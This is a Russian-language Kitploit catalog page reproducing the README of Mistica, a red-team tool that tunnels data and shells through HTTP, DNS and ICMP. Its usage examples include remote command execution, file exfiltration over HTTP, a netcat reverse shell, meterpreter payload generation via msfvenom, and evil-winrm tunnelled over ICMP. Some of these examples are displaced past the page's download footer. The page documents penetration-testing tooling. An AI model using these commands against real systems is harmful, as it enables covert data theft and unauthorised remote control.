Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Mistica — Открытый швейцарский нож для произвольной связи по прикладным протоколам | Kitploit
Инструменты/GitHubGitHub/incidedigital/mistica
Эксфильтрация данныхВеб-безопасностьСетевая безопасностьТестирование на ПроникновениеКомандование и УправлениеRed TeamingАнализ DNS
GitHubincidedigital/mistica

Mistica

Открытый швейцарский нож для произвольной связи по прикладным протоколам

Репозиторий
2454955 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Mística

Логотип Mística
Логотип Mística от JoelGMSec

Mística — это инструмент, позволяющий встраивать данные в поля протоколов прикладного уровня с целью установления двунаправленного канала для произвольной связи. В настоящее время реализована инкапсуляция в протоколы HTTP, HTTPS, DNS и ICMP, но в ближайшем будущем ожидается внедрение дополнительных протоколов.

Mística имеет модульную архитектуру, построенную вокруг пользовательского транспортного протокола под названием SOTP (Simple Overlay Transport Protocol). Данные шифруются, разбиваются на части и помещаются в пакеты SOTP. Пакеты SOTP кодируются и встраиваются в нужное поле протокола прикладного уровня, после чего отправляются на другой конец.

Цель уровня SOTP — предоставить универсальный бинарный транспортный протокол с минимальными накладными расходами. Пакеты SOTP легко скрыть или встроить в легитимные протоколы прикладного уровня. Кроме того, SOTP гарантирует получение пакетов другим концом, шифрует данные с помощью RC4 (в будущем это может измениться) и обеспечивает прозрачную передачу информации в обоих направлениях с помощью механизма опроса (polling).

Модули взаимодействуют с уровнем SOTP для различных целей:

  • Модули-обёртки (Wrappers): Эти модули кодируют/декодируют пакеты SOTP из/в протоколы прикладного уровня
  • Наложенные модули (Overlay modules): Эти модули взаимодействуют по каналу SOTP. Примеры: перенаправление ввода-вывода (как netcat), оболочка (выполнение команд), перенаправление портов…

Модули-обёртки и наложенные модули работают вместе, чтобы создавать пользовательские приложения, например, перенаправление ввода через DNS или удалённое перенаправление портов через HTTP.

Модульная архитектура Mística позволяет легко разрабатывать новые модули. Кроме того, пользователь может легко форкнуть существующие модули, чтобы использовать собственное поле или кодировку, либо изменить поведение наложенного модуля.

Программное обеспечение состоит из двух основных компонентов:

  • Сервер Mística (ms.py): Использует модули, которые действуют как сервер нужного протокола прикладного уровня (HTTP, HTTPS, DNS, ICMP...). Он спроектирован таким образом, чтобы позволять одновременный запуск нескольких серверов, обёрток и наложений с помощью одного экземпляра ms.py, хотя эта функция пока полностью не реализована.
  • Клиент Mística (mc.py): Использует модули, которые действуют как клиент нужного протокола прикладного уровня (HTTP, HTTPS, DNS, ICMP...). Он может использовать одновременно только одну обёртку и одно наложение.

Демонстрации

Вы можете увидеть некоторые демонстрации Mística в следующем плейлисте

Зависимости

У проекта очень мало зависимостей. На данный момент:

  • Клиент Mística требует как минимум Python 3.7
  • Сервер Mística требует как минимум Python 3.7 и dnslib.``` python3.7 -m pip install pip --user pip3.7 install dnslib --user
root@kitploit:~
Если вы не хотите устанавливать Python в своей системе, вы можете использовать одну из следующих портативных версий:

- https://www.anaconda.com/distribution/#download-section (для Windows, Linux и macOS)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (только для Windows)

## Текущие модули

Модули наложения:

- `io`: Читает из stdin, отправляет через SOTP-соединение. Читает из SOTP-соединения, выводит в stdout
- `shell`: Выполняет команды, полученные через SOTP-соединение, и возвращает вывод. Совместим с модулем io.
- `tcpconnect`: Подключается к TCP-порту. Читает из сокета, отправляет через SOTP-соединение. Читает из SOTP-соединения, отправляет через сокет.
- `tcplisten`: Привязывается к TCP-порту. Читает из сокета, отправляет через SOTP-соединение. Читает из SOTP-соединения, отправляет через сокет.

Модули обёртки:

- `dns`: Кодирует/декодирует данные в DNS-запросах/ответах, используя различные методы
- `http`: Кодирует/декодирует данные в HTTP или HTTPS запросах/ответах, используя различные методы
- `icmp`: Кодирует/декодирует данные в ICMP эхо-запросах/ответах в секции данных

## Использование

`ms.py`: сервер Mística

Вот как выглядит сообщение справки:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
             [-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]

Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     RC4 key used to encrypt the comunications
  -l LIST, --list LIST  Lists modules or parameters. Options are: all,
                        overlays, wrappers, <overlay name>, <wrapper name>
  -m MODULES, --modules MODULES
                        Module pair in single-handler mode. format:
                        'overlay:wrapper'
  -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
                        args for the selected overlay module (Single-handler
                        mode)
  -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
                        args for the selected wrapper module (Single-handler
                        mode)
  -s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
                        args for the selected wrap server (Single-handler
                        mode)
  -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv
                        Medium, -vvv High)

Есть два основных режима в Mística Server:

  • Single Handler Mode: Когда ms.py запускается с параметрами, он позволяет одному оверлейному модулю взаимодействовать с одним модулем-обёрткой.
  • Multi-handler Mode: (ещё не опубликован) Когда ms.py запускается без параметров, пользователь попадает в интерактивную консоль, где могут быть запущены несколько оверлейных модулей и модулей-обёрток. Эти модули смогут взаимодействовать друг с другом с небольшими ограничениями.

mc.py: Mística клиент

Вот как выглядит сообщение справки:```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]

Mistica client.

optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)

root@kitploit:~
### Параметры

- `-l, --list` используется либо для вывода списка `всех` модулей, либо только одного типа: (`overlays` или `wrappers`), либо для вывода параметров, которые определённый модуль может принимать через `-o`, `-w` или `-s`.
- `-k, --key` используется для указания ключа, который будет применяться для шифрования связи оверлея. Этот ключ должен быть одинаковым на клиенте и сервере и в настоящее время является обязательным. В будущем это может измениться, если будут реализованы схемы разделения секрета.
- `-m, --modules` используется для указания, какую пару модулей вы хотите использовать. Необходимо использовать следующий формат: **overlay_module** + **:** + **wrap_module**. Этот параметр также обязателен.
- `-w, --wrapper-args` позволяет указать конкретную конфигурацию для модуля обёртки.
- `-o, --overlay-args` позволяет указать конкретную конфигурацию для оверлейного модуля.
- `-s, --wrap-server-args` присутствует только в `ms.py`. Он позволяет указать конкретную конфигурацию для сервера обёртки. Каждый модуль обёртки зависит от сервера обёртки, и можно настроить обе конфигурации.



## Примеры и расширенное использование

> Помните, что вы можете просмотреть все принимаемые параметры модуля, введя `-l <имя_модуля>` (например, `./ms.py -l dns`). Также не забывайте использовать длинный и сложный ключ для защиты вашей связи!

### HTTP

Для иллюстрации различных методов инкапсуляции HTTP для каждого примера будет использоваться оверлейный модуль перенаправления ввода-вывода (`io`).

- HTTP метод GET с кодировкой b64 в URI по умолчанию, используя localhost и порт 8080 (значения по умолчанию).
  - Сервер Mística: `./ms.py -m io:http -k "rc4testkey"`
  - Клиент Mística:  `./mc.py -m io:http -k "rc4testkey"`
- HTTP метод GET с кодировкой b64 в URI по умолчанию, **с указанием IP-адреса и порта**.
  - Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
  - Клиент Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- HTTP метод GET с кодировкой b64 в **пользовательском URI**, используя localhost и порт 8080 (значения по умолчанию).
  - Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
  - Клиент Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- HTTP метод GET с кодировкой b64 в **пользовательском заголовке**, используя localhost и порт 8080 (значения по умолчанию).
  - Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
  - Клиент Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- HTTP **POST** метод с кодировкой b64 в поле по умолчанию, используя localhost и порт 8080 (значения по умолчанию).
  - Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
  - Клиент Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- HTTP **POST** метод с кодировкой b64 в **пользовательском заголовке**, используя localhost и порт 8080 (значения по умолчанию).
  - Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
  - Клиент Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- HTTP **POST** метод с кодировкой b64 в **пользовательском поле**, используя localhost и порт 8080 (значения по умолчанию).
  - Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
  - Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- HTTP **POST** метод с кодировкой b64 в **пользовательском поле, с пользовательским размером пакета, пользовательским числом повторов, пользовательским таймаутом и указанием IP и порта**:
  - Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
  - Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- HTTP **POST** метод с кодировкой b64 в **пользовательском поле**, **с использованием пользовательского шаблона ошибки**, используя localhost и порт 8080 (значения по умолчанию).
  - Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
  - Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- HTTP GET метод с кодировкой b64 в URI по умолчанию, используя **пользовательский код ответа HTTP** и используя localhost и порт 8080 (значения по умолчанию):
  - Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
  - Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- HTTPS GET метод с кодировкой b64 в URI по умолчанию, используя порт 443. На сервере Mistica должен быть сгенерирован сертификат для использования опции ssl; клиенту Mistica нужно только получить флаг ssl:
  - Сервер Mística:
      - `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
      - `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
  - Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- HTTP GET метод с кодировкой b64 в URI по умолчанию, используя прокси-сервер на клиенте Mistica (может использоваться в средах, где HTTP-связь обязательно должна проходить через корпоративный прокси, который не указан в настройках компьютера). Протестируйте следующий пример с помощью Burpsuite:
  - Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
  - Клиент Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`

### DNS

Для иллюстрации различных методов инкапсуляции DNS для каждого примера будет использоваться оверлейный модуль перенаправления ввода-вывода (`io`).

- Запрос TXT, используя localhost и порт 5353 (значения по умолчанию):
  - Сервер Mística: `./ms.py -m io:dns -k "rc4testkey"`
  - Клиент Mística:  `./mc.py -m io:dns -k "rc4testkey"`
- Запрос NS, используя localhost и порт 5353 (значения по умолчанию):
  - Сервер Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
  - Клиент Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- Запрос CNAME, используя localhost и порт 5353 (значения по умолчанию):
  - Сервер Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
  - Клиент Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- Запрос MX, используя localhost и порт 5353 (значения по умолчанию):
  - Сервер Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
  - Клиент Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- Запрос SOA, используя localhost и порт 5353 (значения по умолчанию):
  - Сервер Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
  - Клиент Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- Запрос TXT, используя localhost и порт 5353 (значения по умолчанию) и **пользовательские домены**:
  - Сервер Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
  - Клиент Mística:  
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- Запрос TXT, с указанием порта и имени хоста:
  - Сервер Mística: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
  - Клиент Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- Запрос TXT, с использованием нескольких поддоменов:
  - Сервер Mística: `./ms.py -m io:dns -k "rc4testkey"`
  - Клиент Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`

### ICMP

Ядро Linux при получении пакета icmp echo request по умолчанию автоматически отвечает пакетом icmp echo reply (не давая нам возможности ответить). Поэтому нам нужно отключить icmp-ответы, чтобы иметь возможность отправлять свои собственные с данными, отличными от тех, что отправлены клиентом. Для этого делаем следующее:

Отключите автоматические icmp-ответы ядра (*требуются права root*), отредактировав файл `/etc/sysctl.conf`:

- Добавьте следующую строку в ваш /etc/sysctl.conf:```
net.ipv4.icmp_echo_ignore_all=1
  • Затем выполните: sysctl -p, чтобы изменения вступили в силу.

Теперь, чтобы проиллюстрировать различные методы инкапсуляции ICMP, для каждого примера будет использоваться модуль перенаправления ввода-вывода (io).

  • Секция данных ICMP, используя интерфейс eth0:
    • Сервер Mística: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
    • Клиент Mística: ./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"

Shell и IO

Вы можете получить удалённое выполнение команд с помощью mística через пользовательский канал, комбинируя модули io и shell. Примеры:

  • Выполнение команд на клиентской системе через DNS с использованием TXT-запроса.

    • Сервер Mística: sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"
    • Клиент Mística: ./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"
  • Выполнение команд на серверной системе через HTTP с использованием GET-запросов:

    • Сервер Mística: ./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"
    • Клиент Mística: ./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"
  • Выполнение команд на клиентской системе через ICMP:

    • Сервер Mística: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
    • Клиент Mística: ./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"
  • Экспорт файлов через HTTP с помощью модуля IO и операторов перенаправления:

    • Сервер Mística: ./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf
    • Клиент Mística (важно запускать из cmd):

Проброс портов с tcpconnect и tcplisten

  • Удалённый проброс портов (с точки зрения сервера) через HTTP. Адрес 127.0.0.1:4444 на клиенте будет перенаправлен на адрес 127.0.0.1:5555 на сервере. На порту 5555 уже должно быть что-то прослушивающее.
    • Сервер Mística: ./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
    • Клиент Mística: ./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
  • Локальный проброс портов (с точки зрения сервера) через DNS. Адрес 127.0.0.1:4444 на сервере будет перенаправлен на адрес 127.0.0.1:5555 на клиенте. На порту 5555 уже должно быть что-то прослушивающее.
    • Сервер Mística: sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
    • Клиент Mística: ./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"

Docker

Был создан образ Docker для локального использования. Это избавляет от необходимости устанавливать Python или dnslib, если мы хотим только протестировать инструмент; это также очень удобно для отладки и подобных задач, так как позволяет избежать шума, создаваемого другими локальными приложениями. Чтобы собрать его, просто выполните следующие шаги:

  • Сначала соберите образ командой:``` sudo docker build --tag mistica:latest .
root@kitploit:~
* Во-вторых, создайте сеть с помощью:```
sudo docker network create misticanw
  • В-третьих, запустите сервер с помощью:``` sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash
root@kitploit:~
* Четвёртый запуск клиента с:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash

Как скомпилировать

Mística — это инструмент, разработанный на Python, что означает, что теоретически его можно скомпилировать.

Для компиляции инструмента мы будем использовать Pyinstaller, этот инструмент позволит нам сгенерировать бинарный файл (в зависимости от операционной системы, в которой мы находимся), это означает, что мы НЕ можем выполнять кросс-компиляцию, как в других языках, таких как C, C++, Golang, Rust и т.д. Мы работаем над тем, чтобы сделать это возможным, однако мы оставляем вам команду Pyinstaller, которая позволит скомпилировать Mística в любой операционной системе:

Компиляция Mistica Client

Поскольку Mística Client не имеет зависимостей, его можно скомпилировать напрямую с помощью Pyinstaller. Чтобы скомпилировать его, выполните следующие шаги:

  • Во-первых, установите pyinstaller для Python3.7 или выше:``` python3.7 -m pip install pyinstaller --user
root@kitploit:~
* А теперь скомпилируйте Mística Client с помощью следующей команды:```
pyinstaller --onefile \
  --hiddenimport overlay.client.io \
  --hiddenimport overlay.client.shell \
  --hiddenimport overlay.client.tcpconnect \
  --hiddenimport overlay.client.tcplisten \
  --hiddenimport wrapper.client.http \
  --hiddenimport wrapper.client.dns \
  --hiddenimport wrapper.client.icmp \
  --hiddenimport overlay.server.io \
  --hiddenimport overlay.server.shell \
  --hiddenimport overlay.server.tcpconnect \
  --hiddenimport overlay.server.tcplisten \
  --hiddenimport wrapper.server.wrap_module.http \
  --hiddenimport wrapper.server.wrap_module.dns \
  --hiddenimport wrapper.server.wrap_module.icmp \
  --hiddenimport wrapper.server.wrap_server.httpserver \
  --hiddenimport wrapper.server.wrap_server.dnsserver \
  --hiddenimport wrapper.server.wrap_server.icmpserver \
  mc.py

Компиляция сервера Mística

Если вы хотите скомпилировать сервер Mística, вам необходимо установить с помощью Pip библиотеку Dnslib глобально (помните, что это единственная зависимость Mística, и только для сервера Mística). Для этого выполните следующие шаги:

  • Сначала установите Python 3.7 или выше в вашей системе Windows, Linux или Mac.
  • Затем установите с помощью Pip библиотеку Dnslib: pip install dnslib (без флага "--user", так она будет установлена глобально в системе, иначе pyinstaller не сможет добавить её как скрытый импорт. Этот шаг требует прав администратора).
  • В-третьих, установите с помощью Pip библиотеку PyInstaller: pip install pyinstaller.
  • И в-четвёртых, скомпилируйте сервер Mística с помощью следующей команды:``` pyinstaller --onefile
    --hiddenimport overlay.client.io
    --hiddenimport overlay.client.shell
    --hiddenimport overlay.client.tcpconnect
    --hiddenimport overlay.client.tcplisten
    --hiddenimport wrapper.client.http
    --hiddenimport wrapper.client.dns
    --hiddenimport wrapper.client.icmp
    --hiddenimport overlay.server.io
    --hiddenimport overlay.server.shell
    --hiddenimport overlay.server.tcpconnect
    --hiddenimport overlay.server.tcplisten
    --hiddenimport wrapper.server.wrap_module.http
    --hiddenimport wrapper.server.wrap_module.dns
    --hiddenimport wrapper.server.wrap_module.icmp
    --hiddenimport wrapper.server.wrap_server.httpserver
    --hiddenimport wrapper.server.wrap_server.dnsserver
    --hiddenimport wrapper.server.wrap_server.icmpserver
    --hiddenimport dnslib
    ms.py
root@kitploit:~
## Дальнейшая работа

- Метод кросс-компиляции, позволяющий компилировать Mistica для разных операционных систем без необходимости делать это с целевой ОС.
- Прозрачная генерация ключей Диффи-Хеллмана для протокола SOTP
- Режим Multi-Handler: интерактивный режим для `ms.py`. Это позволит пользователю комбинировать более одного оверлея с более чем одной обёрткой и более чем одним модулем обёртки на сервер обёрток.
- Документация по разработке модулей для создания пользовательских модулей. В настоящее время это не рекомендуется, так как спецификация модулей все еще находится в разработке.
- Следующие модули:
    - Обёртка SMB
    - Оверлей RAT и обработчика RAT
    - Оверлей SOCKS-прокси и динамической переадресации портов
    - Оверлей передачи файлов
    - Обёртка RDP
- Пользовательские HTTP-шаблоны для более сложной инкапсуляции
- Документация по спецификации протокола SOTP для пользовательских клиентов или серверов. В настоящее время это не рекомендуется, так как протокол все еще находится в разработке.

## Авторы и лицензия

Этот проект разработан Карлосом Фернандесом Санчесом и Раулем Каро Тейксидо. Код распространяется под лицензией GNU General Public License v3.

Этот проект использует сторонний открытый исходный код, в частности:

- [Bitstring](https://github.com/scott-griffiths/bitstring) разработан Скоттом Гриффитсом.
- [Бинарно-безопасный RC4](https://github.com/DavidBuchanan314/rc4) разработан Дэвидом Бьюкененом.
- [DNS-клиент без зависимостей](https://github.com/vlasebian/simple-dns-client) разработан Владом Витаном.
- [ICMP-сервер и клиент без зависимостей](https://github.com/rcaroncd/ICMPack/) разработан Раулем Каро.
Скачать инструмент
type confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv
  • HTTP reverse shell с использованием netcat на клиенте Linux.
    • Слушатель Netcat (на сервере): nc -nlvp 5555
    • Сервер Mística: ./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
    • Клиент Mística: ./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
    • Netcat Shell (на клиенте Linux): ncat -nve /bin/bash 127.0.0.1 4444
  • Запуск meterpreter_reverse_tcp (linux) через DNS с использованием проброса портов. Полезная нагрузка сгенерирована с помощью msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin
    • Запустите msfconsole на сервере и запустите обработчик командой: handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555
    • Сервер Mística: sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"
    • Клиент Mística: ./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
    • Запустите meterpreter на клиенте: ./meterpreter_reverse_tcp_localhost_4444.bin
  • EvilWinrm через ICMP с использованием промежуточной машины для доступа к изолированной машине.
    • Сервер Mística: ./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vv
    • Клиент Mística: python.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vv
    • Консоль EvilWinrm (на C2-машине): evil-winrm -u Administrador -i 127.0.0.1 -P 5555